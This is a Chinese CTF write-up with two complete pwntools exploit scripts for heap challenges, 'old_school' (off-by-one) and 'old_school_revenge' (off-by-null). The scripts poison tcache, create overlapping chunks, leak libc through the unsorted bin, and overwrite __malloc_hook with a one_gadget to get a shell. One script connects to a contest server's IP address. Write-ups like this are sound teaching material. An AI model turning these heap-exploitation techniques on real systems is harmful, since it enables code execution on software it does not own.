通过“强网”拟态学习了off-by-one和off-by-null的姿势,写一下总结
old_school
很经典的菜单题,有New、Edit、Print、Remove功能,其中Edit里有一个溢出,可以多写一个字节的内容,即off-by-one,就不上图了,直接上exp分析
# -*- coding:utf-8 -*-
from pwn import *
context.log_level='debug'
r = remote("121.36.194.21", 49153)
# r = process("./old_school")
def New(index, size):
r.sendlineafter("Your choice:", '1')
r.sendlineafter("Index:", str(index))
r.sendlineafter("Size:", str(size))
def Edit(index, content):
r.sendlineafter("Your choice:", '2')
r.sendlineafter("Index:", str(index))
r.sendafter("Content:", content)
def Print(index):
r.sendlineafter("Your choice:", '3')
r.sendlineafter("Index:", str(index))
r.recvuntil("Content: ")
return r.recvuntil("1. New")[:-7]
def Remove(index):
r.sendlineafter("Your choice:", '4')
r.sendlineafter("Index:", str(index))
# tcache
# 因为是 ubuntu18 的环境,所以会有tcache机制,tcache可以简单的理解为一个缓冲区,在 [0x20, 0x400) 范围内的堆块在释放的时候会首先放入相应的tcache链表中,每个链表上最多存储7个 chunk,同时,因为tcache在其他的机制之前,并且他的某些机制做的不是很好,使得堆溢出某种意义上变得更简单了?(一定环境条件下)
# tcache的利用:如果存在两个指向同一堆块的指针,可以将一个放入tcache中,用另一个直接修改chunk的fd指针用于申请指定地址的内存
New(10, 0xd8)
New(11, 0xd8)
New(12, 0xd8)
New(13, 0xd8)
New(14, 0xd8)
New(15, 0xd8)
New(16, 0xd8)
Remove(10)
Remove(11)
Remove(12)
Remove(13)
Remove(14)
Remove(15)
Remove(16) # 将 0xe0 的tcache链填充满
New(0, 0x68) # 0x70 大小的chunk
New(1, 0x68)
New(2, 0x68)
New(3, 0x68)
New(4, 0x68)
Edit(0, 'a'*0x68+p8(0xe1)) # 通过0修改1的大小,使其等于1+2的大小
Remove(1) # 释放1,因为此时1的大小为1+2的大小,所以会将1和2放在一起释放掉(被当成了一个chunk)
# 1+2的大小为 0xe0, 因为tcache中0xe0大小的链表之前已经填充满了。所以此时1会被放入unsorted bin中
New(1, 0x68) # 1) 检测到tcache中没有大小相对应的chunk
# 2) 检测到bin中没有大小相对应的chunk,但是unsorted bin中存在一个大chunk,进行分割
# 分割后此时unsorted bin中存放的内容便是2
unsorted_bin = u64(Print(2).ljust(8, '\x00'))-8 # 通过2的fd泄漏unsorted bin的地址
log.success("unsorted bin => {}".format(hex(unsorted_bin)))
log.success("__malloc_hook addr => {}".format(hex(unsorted_bin-88-0x10)))
main_arena = unsorted_bin - 88
malloc_hook = main_arena - 0x10
hack = malloc_hook - 0x23 # 额外覆盖0x13
from SearchLibc import *
libc = SearchLibc("__malloc_hook", malloc_hook)
base = malloc_hook - libc.dump([ '__malloc_hook' ])
ogg = libc.ogg() + base
# ogg = 0x4f432 + main_arena - 0x3EBC40
log.success("hack addr => {}".format(hex(hack)))
log.success("one_gadget addr => {}".format(hex(ogg)))
New(5, 0x68) # 将unsorted bin中chunk申请出来
# 此时2和5指向同一块内存
Remove(2) # 将2放入tcache中
Edit(5, p64(hack)+'\n') # 修改2的fd指针
New(8, 0x68) # 将2申请出来
New(9, 0x68) # 将指定的的内存申请出来
Edit(9, 'a'*0x23+p64(ogg)+'\n') # 修改__malloc_hook内容
# pause()
New(17, 0x30) # 触发__malloc_hook
r.interactive()
old_school_revenge
程序内容和上个题一致,唯一的区别就是之前的off-by-one变成了off-by-null,同样直接上脚本讲解
# -*- coding:utf-8 -*-
from pwn import *
context.log_level='info'
# r = remote("121.36.194.21", 49153)
r = process("./old_school_revenge")
pause()
def New(index, size):
r.sendlineafter("Your choice:", '1')
r.sendlineafter("Index:", str(index))
r.sendlineafter("Size:", str(size))
def Edit(index, content):
r.sendlineafter("Your choice:", '2')
r.sendlineafter("Index:", str(index))
r.sendlineafter("Content:", content)
def Print(index):
r.sendlineafter("Your choice:", '3')
r.sendlineafter("Index:", str(index))
r.recvuntil("Content: ")
return r.recvuntil("1. New")[:-7]
def Remove(index):
r.sendlineafter("Your choice:", '4')
r.sendlineafter("Index:", str(index))
for i in range(7):
New(i, 0xf8) # 用于填充tchche
New(7, 0xf8)
New(8, 0x88)
New(9, 0xf8)
New(10, 0x88)
log.info("New over")
for i in range(7):
Remove(i)
Remove(8) #
Remove(7) #
New(11, 0x88) # 注意这个chunk和8是同一块内容
Edit(11, 'a'*0x80+p64(0x90+0x100)) # 相当于用8修改9的prev_size字段
# context.log_level='debug'
Remove(9) # 释放9,触发unlink,完成overlap
for i in range(8):
New(i, 0xf8) # 获取(7+1)个chunk,此时unsortbin中放的chunk为8+9合并起来的一个大chunk
#leak libc
unsorted_bin = u64(Print(11).ljust(8, '\x00')) - 8 # 通过11查看unsortbin的地址,注意这个11和8是一个chunk
log.success("unsorted bin => {}".format(hex(unsorted_bin)))
log.success("__malloc_hook addr => {}".format(hex(unsorted_bin-88-0x10)))
main_arena = unsorted_bin - 88
malloc_hook = main_arena - 0x10
hack = malloc_hook - 0x23 # 额外覆盖0x13
log.success("hack addr => {}".format(hex(hack)))
# pause()
from SearchLibc import *
libc = SearchLibc("__malloc_hook", malloc_hook)
base = malloc_hook - libc.dump([ '__malloc_hook' ])
system = base + libc.dump([ 'system' ])
ogg = libc.ogg() + base
New(8, 0x88) # 将8申请出来,此时8和11指向同一块内存,后续常规利用即可
Remove(8)
Edit(11, p64(hack))
pause()
New(9, 0x88)
New(12, 0x88)
Edit(12, 'a'*0x23+p64(ogg))
pause()
New(13, 0x23)
r.interactive()
附图一张
Q.E.D.